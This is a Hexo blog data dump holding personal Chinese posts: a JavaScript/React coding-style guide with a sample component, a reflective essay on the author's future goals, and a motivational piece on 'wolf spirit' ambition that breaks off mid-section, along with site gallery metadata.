（css可以）\n* 多次申明 单var\n* if 语句即使再短，也不要写在一行\n* 申明在调用的前面\n* 函数调用，参数要左右空格，以突出参数\n* 立即执行函数若赋值给某个对象，给该函数加一个圆括号\n* 尽量不使用 === 和 != (强转换机制)\n* css 和 JavaScript 的松耦合\n* 避免使用全局变量\n* 组件式开发时，_ 开头为私有方法，监听事件前缀为 handle，事件监听传递时，属性名用 on 开头\n* react组件内容编写顺序：\n        1. static 开头类的属性，eg：defaultProps， propTypes\n        2. 构造函数 constructor\n        3. getter/setter \n        4. 组件生命周期\n        5. _开头的私有方法\n        6. 事件监听方法\n        7. render* 开头的方法\n        8. render\n\n> EXP(以 react 为例):\n``` \n    //组件\n    class Exp extends Component {\n        //初始化\n        static propTypes = {\n            onSubmit: PropTypes.func\n        }\n\n        //构造函数\n        constructor () {\n            super()\n            this.state = {\n                test: '1'\n            }\n        }\n\n        // getter/setter\n        getter() {\n\n        }\n        \n        // 即将挂载\n        componentWillMount () {\n            localStorage.getItem('username')\n        }\n\n        // 已挂载\n        componentDidMount () {\n\n        }\n\n        // 私有方法\n        _selfFunction (username) {\n            localStorage.setItem('username', username)\n        }\n\n        // 监听方法\n        function1 () {\n            //第一个 if 语句\n            if () {\n                var test = 'abc',\n                    first = 1,\n                    //立即执行函数\n                    secound = (function () { return 0}())\n\n                //第二个 if 语句\n                if (allNumber || first || secound || third || monday || sunday || \n                        satarday) {\n                    \n                    //第三个 if 语句\n                    if () {\n                        function act (ppt) {}\n\n                        act( ppt )\n                        }\n                    }\n            } else {\n                \n            }\n        }\n    }\n        \n```","slug":"我个人的coding风格","published":1,"updated":"2018-01-22T06:40:01.795Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6t0041vzqh3j7aepzs","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><p>我一直在探索属于我自己独一无二的代码风格</p>\n<h2 id=\"识别度高的-HTML\"><a href=\"#识别度高的-HTML\" class=\"headerlink\" title=\"识别度高的 HTML\"></a>识别度高的 HTML</h2><h2 id=\"简洁大方的-CSS\"><a href=\"#简洁大方的-CSS\" class=\"headerlink\" title=\"简洁大方的 CSS\"></a>简洁大方的 CSS</h2><h2 id=\"可维护性强的-js\"><a href=\"#可维护性强的-js\" class=\"headerlink\" title=\"可维护性强的 js\"></a>可维护性强的 js</h2><blockquote>\n<p>最近在看这本书，书中有很多技巧让我受益颇多</p>\n</blockquote>\n<h3 id=\"基本格式\"><a href=\"#基本格式\" class=\"headerlink\" title=\"基本格式\"></a>基本格式</h3><ul>\n<li>缩进保持 4 个空格</li>\n<li>if else 语句和上一个 if 语句中间留个空行</li>\n<li>注释另起一行</li>\n<li>不写分号，保持样式简洁</li>\n<li>符号与字符串之间要空行</li>\n<li>中文和英文之间用空格拆开</li>\n<li>单行代码长度不超过 80 个字符</li>\n<li>如果一行代码超过最大限度，换行的给两个默认缩进，增加辨识度</li>\n<li>另外，换行缩进不要带符号换行</li>\n<li>命名方式：<pre><code>  1· 方法函数是驼峰命名\n  2· 构造函数是首字母大写命名\n  3· 常量采取全大写命名\n  4· js 中不要省略小数点前的 0 （css可以）\n</code></pre></li>\n<li>多次申明 单var</li>\n<li>if 语句即使再短，也不要写在一行</li>\n<li>申明在调用的前面</li>\n<li>函数调用，参数要左右空格，以突出参数</li>\n<li>立即执行函数若赋值给某个对象，给该函数加一个圆括号</li>\n<li>尽量不使用 === 和 != (强转换机制)</li>\n<li>css 和 JavaScript 的松耦合</li>\n<li>避免使用全局变量</li>\n<li>组件式开发时，_ 开头为私有方法，监听事件前缀为 handle，事件监听传递时，属性名用 on 开头</li>\n<li>react组件内容编写顺序：<pre><code>  1. static 开头类的属性，eg：defaultProps， propTypes\n  2. 构造函数 constructor\n  3. getter/setter \n  4. 组件生命周期\n  5. _开头的私有方法\n  6. 事件监听方法\n  7. render* 开头的方法\n  8. render\n</code></pre></li>\n</ul>\n<blockquote>\n<p>EXP(以 react 为例):<br><code>`</code><br>    //组件<br>    class Exp extends Component {<br>        //初始化<br>        static propTypes = {<br>            onSubmit: PropTypes.func<br>        }</p>\n</blockquote>\n<pre><code>    //构造函数\n    constructor () {\n        super()\n        this.state = {\n            test: &#39;1&#39;\n        }\n    }\n\n    // getter/setter\n    getter() {\n\n    }\n\n    // 即将挂载\n    componentWillMount () {\n        localStorage.getItem(&#39;username&#39;)\n    }\n\n    // 已挂载\n    componentDidMount () {\n\n    }\n\n    // 私有方法\n    _selfFunction (username) {\n        localStorage.setItem(&#39;username&#39;, username)\n    }\n\n    // 监听方法\n    function1 () {\n        //第一个 if 语句\n        if () {\n            var test = &#39;abc&#39;,\n                first = 1,\n                //立即执行函数\n                secound = (function () { return 0}())\n\n            //第二个 if 语句\n            if (allNumber || first || secound || third || monday || sunday || \n                    satarday) {\n\n                //第三个 if 语句\n                if () {\n                    function act (ppt) {}\n\n                    act( ppt )\n                    }\n                }\n        } else {\n\n        }\n    }\n}\n</code></pre><p><code>`</code></p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<p>我一直在探索属于我自己独一无二的代码风格</p>\n<h2 id=\"识别度高的-HTML\"><a href=\"#识别度高的-HTML\" class=\"headerlink\" title=\"识别度高的 HTML\"></a>识别度高的 HTML</h2><h2 id=\"简洁大方的-CSS\"><a href=\"#简洁大方的-CSS\" class=\"headerlink\" title=\"简洁大方的 CSS\"></a>简洁大方的 CSS</h2><h2 id=\"可维护性强的-js\"><a href=\"#可维护性强的-js\" class=\"headerlink\" title=\"可维护性强的 js\"></a>可维护性强的 js</h2><blockquote>\n<p>最近在看这本书，书中有很多技巧让我受益颇多</p>\n</blockquote>\n<h3 id=\"基本格式\"><a href=\"#基本格式\" class=\"headerlink\" title=\"基本格式\"></a>基本格式</h3><ul>\n<li>缩进保持 4 个空格</li>\n<li>if else 语句和上一个 if 语句中间留个空行</li>\n<li>注释另起一行</li>\n<li>不写分号，保持样式简洁</li>\n<li>符号与字符串之间要空行</li>\n<li>中文和英文之间用空格拆开</li>\n<li>单行代码长度不超过 80 个字符</li>\n<li>如果一行代码超过最大限度，换行的给两个默认缩进，增加辨识度</li>\n<li>另外，换行缩进不要带符号换行</li>\n<li>命名方式：<pre><code>  1· 方法函数是驼峰命名\n  2· 构造函数是首字母大写命名\n  3· 常量采取全大写命名\n  4· js 中不要省略小数点前的 0 （css可以）\n</code></pre></li>\n<li>多次申明 单var</li>\n<li>if 语句即使再短，也不要写在一行</li>\n<li>申明在调用的前面</li>\n<li>函数调用，参数要左右空格，以突出参数</li>\n<li>立即执行函数若赋值给某个对象，给该函数加一个圆括号</li>\n<li>尽量不使用 === 和 != (强转换机制)</li>\n<li>css 和 JavaScript 的松耦合</li>\n<li>避免使用全局变量</li>\n<li>组件式开发时，_ 开头为私有方法，监听事件前缀为 handle，事件监听传递时，属性名用 on 开头</li>\n<li>react组件内容编写顺序：<pre><code>  1. static 开头类的属性，eg：defaultProps， propTypes\n  2. 构造函数 constructor\n  3. getter/setter \n  4. 组件生命周期\n  5. _开头的私有方法\n  6. 事件监听方法\n  7. render* 开头的方法\n  8. render\n</code></pre></li>\n</ul>\n<blockquote>\n<p>EXP(以 react 为例):<br><code>`</code><br>    //组件<br>    class Exp extends Component {<br>        //初始化<br>        static propTypes = {<br>            onSubmit: PropTypes.func<br>        }</p>\n</blockquote>\n<pre><code>    //构造函数\n    constructor () {\n        super()\n        this.state = {\n            test: &#39;1&#39;\n        }\n    }\n\n    // getter/setter\n    getter() {\n\n    }\n\n    // 即将挂载\n    componentWillMount () {\n        localStorage.getItem(&#39;username&#39;)\n    }\n\n    // 已挂载\n    componentDidMount () {\n\n    }\n\n    // 私有方法\n    _selfFunction (username) {\n        localStorage.setItem(&#39;username&#39;, username)\n    }\n\n    // 监听方法\n    function1 () {\n        //第一个 if 语句\n        if () {\n            var test = &#39;abc&#39;,\n                first = 1,\n                //立即执行函数\n                secound = (function () { return 0}())\n\n            //第二个 if 语句\n            if (allNumber || first || secound || third || monday || sunday || \n                    satarday) {\n\n                //第三个 if 语句\n                if () {\n                    function act (ppt) {}\n\n                    act( ppt )\n                    }\n                }\n        } else {\n\n        }\n    }\n}\n</code></pre><p><code>`</code></p>\n"},{"title":"我向往的明天","date":"2017-07-01T13:53:37.000Z","_content":"\n#### 欲望\n* 我很希望，自己的未来能不一样\n\n* 我想要的，就是在平凡中不断的改变自己\n\n* 路上的人，有人嘲笑，有人鼓励\n\n* 我全都笑纳\n\n* 好的留在心里\n\n* 坏的随风飘逝\n\n* 展现真正的自己，表达的更简单一些\n\n* 在机会来临时\n\n* 奋不顾身的抓牢它\n\n* 不要被眼前的利益所迷惑\n\n* 放眼更广阔的未来\n\n* 做好自己\n\n* 抓住身边一切的美好\n\n* 当有一天对一切都无所畏惧\n\n* 那就是\n\n* 重生\n\n#### 谈谈今天\n> 人有时候真的挺纠结，就像我今天看了 《龙飞凤舞》，觉得上流社会的生活有时候即糜烂，又觉得美好\n> 有的人花了一生时间，去挤进那样的生活圈，有的人甘愿过着平凡的生活\n> 殊不知，彼此之间都存在着羡慕与无奈\n> 我也不例外\n> 如果哪天，我能够进入这样的世界\n> 我是否能够保持清醒，不被外界所干扰，任然保持初心？\n> 我也不敢保证，所以我一直在努力\n> 为了不亏欠曾经的自己\n> 我不敢停下脚步\n> 我怕我停下来\n> 就找不到回去的路\n> 我也舍弃了太多\n> 只因为我曾经欠下太多\n> 但我不后悔\n> 明天的路， 我想自己走\n> 即使错了，那也是个经历，我会记在心中\n> 将来成功的那天，回忆，何不是一种财富？\n\n#### 总结\n\n* 每个人都不一样，早点实战，可能更快明白自己想要什么\n* 我不认为一定会混技术职场，现在做的是为了我将来的梦想\n* 我要做一款只属于自己的产品\n* 即使时间再怎么磨砺\n* 我也希望不要忘对自己的承诺\n* 给自己定一个期限 \n* 6 年\n* 即使以后再有钱，我也会把健康看做第一位\n* 我希望那时我有房 有车 还有她\n* 不想以后不顾家\n* 未来我还是想闯出自己的一片天地\n* 结婚的话在30-35之间吧，真希望她是个艺术家\n* 6 年，努力点，足以在一个行业小有所成\n* 那时候就是我想要的未来\n* 加油！！！","source":"_posts/我向往的明天.md","raw":"---\ntitle: 我向往的明天\ndate: 2017-07-01 21:53:37\ntags: [人生感悟]\ncategories: 生活\n---\n\n#### 欲望\n* 我很希望，自己的未来能不一样\n\n* 我想要的，就是在平凡中不断的改变自己\n\n* 路上的人，有人嘲笑，有人鼓励\n\n* 我全都笑纳\n\n* 好的留在心里\n\n* 坏的随风飘逝\n\n* 展现真正的自己，表达的更简单一些\n\n* 在机会来临时\n\n* 奋不顾身的抓牢它\n\n* 不要被眼前的利益所迷惑\n\n* 放眼更广阔的未来\n\n* 做好自己\n\n* 抓住身边一切的美好\n\n* 当有一天对一切都无所畏惧\n\n* 那就是\n\n* 重生\n\n#### 谈谈今天\n> 人有时候真的挺纠结，就像我今天看了 《龙飞凤舞》，觉得上流社会的生活有时候即糜烂，又觉得美好\n> 有的人花了一生时间，去挤进那样的生活圈，有的人甘愿过着平凡的生活\n> 殊不知，彼此之间都存在着羡慕与无奈\n> 我也不例外\n> 如果哪天，我能够进入这样的世界\n> 我是否能够保持清醒，不被外界所干扰，任然保持初心？\n> 我也不敢保证，所以我一直在努力\n> 为了不亏欠曾经的自己\n> 我不敢停下脚步\n> 我怕我停下来\n> 就找不到回去的路\n> 我也舍弃了太多\n> 只因为我曾经欠下太多\n> 但我不后悔\n> 明天的路， 我想自己走\n> 即使错了，那也是个经历，我会记在心中\n> 将来成功的那天，回忆，何不是一种财富？\n\n#### 总结\n\n* 每个人都不一样，早点实战，可能更快明白自己想要什么\n* 我不认为一定会混技术职场，现在做的是为了我将来的梦想\n* 我要做一款只属于自己的产品\n* 即使时间再怎么磨砺\n* 我也希望不要忘对自己的承诺\n* 给自己定一个期限 \n* 6 年\n* 即使以后再有钱，我也会把健康看做第一位\n* 我希望那时我有房 有车 还有她\n* 不想以后不顾家\n* 未来我还是想闯出自己的一片天地\n* 结婚的话在30-35之间吧，真希望她是个艺术家\n* 6 年，努力点，足以在一个行业小有所成\n* 那时候就是我想要的未来\n* 加油！！！","slug":"我向往的明天","published":1,"updated":"2018-01-22T06:40:38.404Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y6u0044vzqhxyeq9c6d","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h4 id=\"欲望\"><a href=\"#欲望\" class=\"headerlink\" title=\"欲望\"></a>欲望</h4><ul>\n<li><p>我很希望，自己的未来能不一样</p>\n</li>\n<li><p>我想要的，就是在平凡中不断的改变自己</p>\n</li>\n<li><p>路上的人，有人嘲笑，有人鼓励</p>\n</li>\n<li><p>我全都笑纳</p>\n</li>\n<li><p>好的留在心里</p>\n</li>\n<li><p>坏的随风飘逝</p>\n</li>\n<li><p>展现真正的自己，表达的更简单一些</p>\n</li>\n<li><p>在机会来临时</p>\n</li>\n<li><p>奋不顾身的抓牢它</p>\n</li>\n<li><p>不要被眼前的利益所迷惑</p>\n</li>\n<li><p>放眼更广阔的未来</p>\n</li>\n<li><p>做好自己</p>\n</li>\n<li><p>抓住身边一切的美好</p>\n</li>\n<li><p>当有一天对一切都无所畏惧</p>\n</li>\n<li><p>那就是</p>\n</li>\n<li><p>重生</p>\n</li>\n</ul>\n<h4 id=\"谈谈今天\"><a href=\"#谈谈今天\" class=\"headerlink\" title=\"谈谈今天\"></a>谈谈今天</h4><blockquote>\n<p>人有时候真的挺纠结，就像我今天看了 《龙飞凤舞》，觉得上流社会的生活有时候即糜烂，又觉得美好<br>有的人花了一生时间，去挤进那样的生活圈，有的人甘愿过着平凡的生活<br>殊不知，彼此之间都存在着羡慕与无奈<br>我也不例外<br>如果哪天，我能够进入这样的世界<br>我是否能够保持清醒，不被外界所干扰，任然保持初心？<br>我也不敢保证，所以我一直在努力<br>为了不亏欠曾经的自己<br>我不敢停下脚步<br>我怕我停下来<br>就找不到回去的路<br>我也舍弃了太多<br>只因为我曾经欠下太多<br>但我不后悔<br>明天的路， 我想自己走<br>即使错了，那也是个经历，我会记在心中<br>将来成功的那天，回忆，何不是一种财富？</p>\n</blockquote>\n<h4 id=\"总结\"><a href=\"#总结\" class=\"headerlink\" title=\"总结\"></a>总结</h4><ul>\n<li>每个人都不一样，早点实战，可能更快明白自己想要什么</li>\n<li>我不认为一定会混技术职场，现在做的是为了我将来的梦想</li>\n<li>我要做一款只属于自己的产品</li>\n<li>即使时间再怎么磨砺</li>\n<li>我也希望不要忘对自己的承诺</li>\n<li>给自己定一个期限 </li>\n<li>6 年</li>\n<li>即使以后再有钱，我也会把健康看做第一位</li>\n<li>我希望那时我有房 有车 还有她</li>\n<li>不想以后不顾家</li>\n<li>未来我还是想闯出自己的一片天地</li>\n<li>结婚的话在30-35之间吧，真希望她是个艺术家</li>\n<li>6 年，努力点，足以在一个行业小有所成</li>\n<li>那时候就是我想要的未来</li>\n<li>加油！！！</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h4 id=\"欲望\"><a href=\"#欲望\" class=\"headerlink\" title=\"欲望\"></a>欲望</h4><ul>\n<li><p>我很希望，自己的未来能不一样</p>\n</li>\n<li><p>我想要的，就是在平凡中不断的改变自己</p>\n</li>\n<li><p>路上的人，有人嘲笑，有人鼓励</p>\n</li>\n<li><p>我全都笑纳</p>\n</li>\n<li><p>好的留在心里</p>\n</li>\n<li><p>坏的随风飘逝</p>\n</li>\n<li><p>展现真正的自己，表达的更简单一些</p>\n</li>\n<li><p>在机会来临时</p>\n</li>\n<li><p>奋不顾身的抓牢它</p>\n</li>\n<li><p>不要被眼前的利益所迷惑</p>\n</li>\n<li><p>放眼更广阔的未来</p>\n</li>\n<li><p>做好自己</p>\n</li>\n<li><p>抓住身边一切的美好</p>\n</li>\n<li><p>当有一天对一切都无所畏惧</p>\n</li>\n<li><p>那就是</p>\n</li>\n<li><p>重生</p>\n</li>\n</ul>\n<h4 id=\"谈谈今天\"><a href=\"#谈谈今天\" class=\"headerlink\" title=\"谈谈今天\"></a>谈谈今天</h4><blockquote>\n<p>人有时候真的挺纠结，就像我今天看了 《龙飞凤舞》，觉得上流社会的生活有时候即糜烂，又觉得美好<br>有的人花了一生时间，去挤进那样的生活圈，有的人甘愿过着平凡的生活<br>殊不知，彼此之间都存在着羡慕与无奈<br>我也不例外<br>如果哪天，我能够进入这样的世界<br>我是否能够保持清醒，不被外界所干扰，任然保持初心？<br>我也不敢保证，所以我一直在努力<br>为了不亏欠曾经的自己<br>我不敢停下脚步<br>我怕我停下来<br>就找不到回去的路<br>我也舍弃了太多<br>只因为我曾经欠下太多<br>但我不后悔<br>明天的路， 我想自己走<br>即使错了，那也是个经历，我会记在心中<br>将来成功的那天，回忆，何不是一种财富？</p>\n</blockquote>\n<h4 id=\"总结\"><a href=\"#总结\" class=\"headerlink\" title=\"总结\"></a>总结</h4><ul>\n<li>每个人都不一样，早点实战，可能更快明白自己想要什么</li>\n<li>我不认为一定会混技术职场，现在做的是为了我将来的梦想</li>\n<li>我要做一款只属于自己的产品</li>\n<li>即使时间再怎么磨砺</li>\n<li>我也希望不要忘对自己的承诺</li>\n<li>给自己定一个期限 </li>\n<li>6 年</li>\n<li>即使以后再有钱，我也会把健康看做第一位</li>\n<li>我希望那时我有房 有车 还有她</li>\n<li>不想以后不顾家</li>\n<li>未来我还是想闯出自己的一片天地</li>\n<li>结婚的话在30-35之间吧，真希望她是个艺术家</li>\n<li>6 年，努力点，足以在一个行业小有所成</li>\n<li>那时候就是我想要的未来</li>\n<li>加油！！！</li>\n</ul>\n"},{"title":"我所追求的狼性","date":"2018-01-28T04:21:51.000Z","_content":"\n# 狼道\n虽然在普通人看来，狼是一个贬义的存在，'狼子野心','狼狈为奸'。\n<br>\n但在大自然中，狼群相对于其他生物来说，更富有智慧，更有团结力。狼对机会的把握概率为80%，而人类只有35%左右，\b\b几十\b头狼就可以干翻白羊大军，如果在战场上，这是非常可怕的，所以我们可以从狼的身上学到很多可贵的精神和品质。\n\n## 狼子野心\n狼有非常大的野心，即使数量只有四十只左右，仍然有围剿百羊的勇气，\b即使猎物比自己体型大数倍，也敢于猎杀！\n\n### 天生的野心家\n'大丈夫在世，理应如此'，这就是当年项羽看到秦始皇所说的话，反正我感觉听到就有一种豪气冲天的气魄！\n> 寄语：没有\b完成不了的目标，就看你有没有野心去做！\n\n### 紧盯自己的目标\n'当一个人知道自己的目标去处时，全世界都回为他让路'，出自爱默生。<br>\n没有目标的人在社会的最底层，目标模糊的人成为蓝领，目标明确的人成为白领，目标远大并记录下来的人，最后会成为社会的顶尖人士！(就像我现在做的)\n> 寄语：没有猎物，我们就去寻找，发现猎物我们就去追逐。寻找，发现，追逐\b，获得 - 这就是大自然强者生存的要素\n\n## 人\b应该有理想，而不是\b'妄想'\n野心 !== 妄想，人要有野心，但是也要根据实际出发，当实力悬殊的时候，当竞争法则不再公平的时候，退却是保存实力的最好方法，另一种生命的智慧。<br>\n妄想症的核心判断是总是包含着 ”我“，例如：\"我伟大\",\"人们在迫害我\"，\"我有罪\".......野心虽然也强调个体，但更多持有一种开放的态度，”我可以做的更好\b“，“我要达到某某那种程度”(当时我说，想成为类似奇舞团，alloyteam，类似大厂的技术团队，这是野心不是妄想)\n> 寄语：我们不缺乏成功的信念，但是我们绝对不会成为痴心妄想的傻瓜。狼群在面对枪口的时候，适当转移也是明智的选择。\n\n## 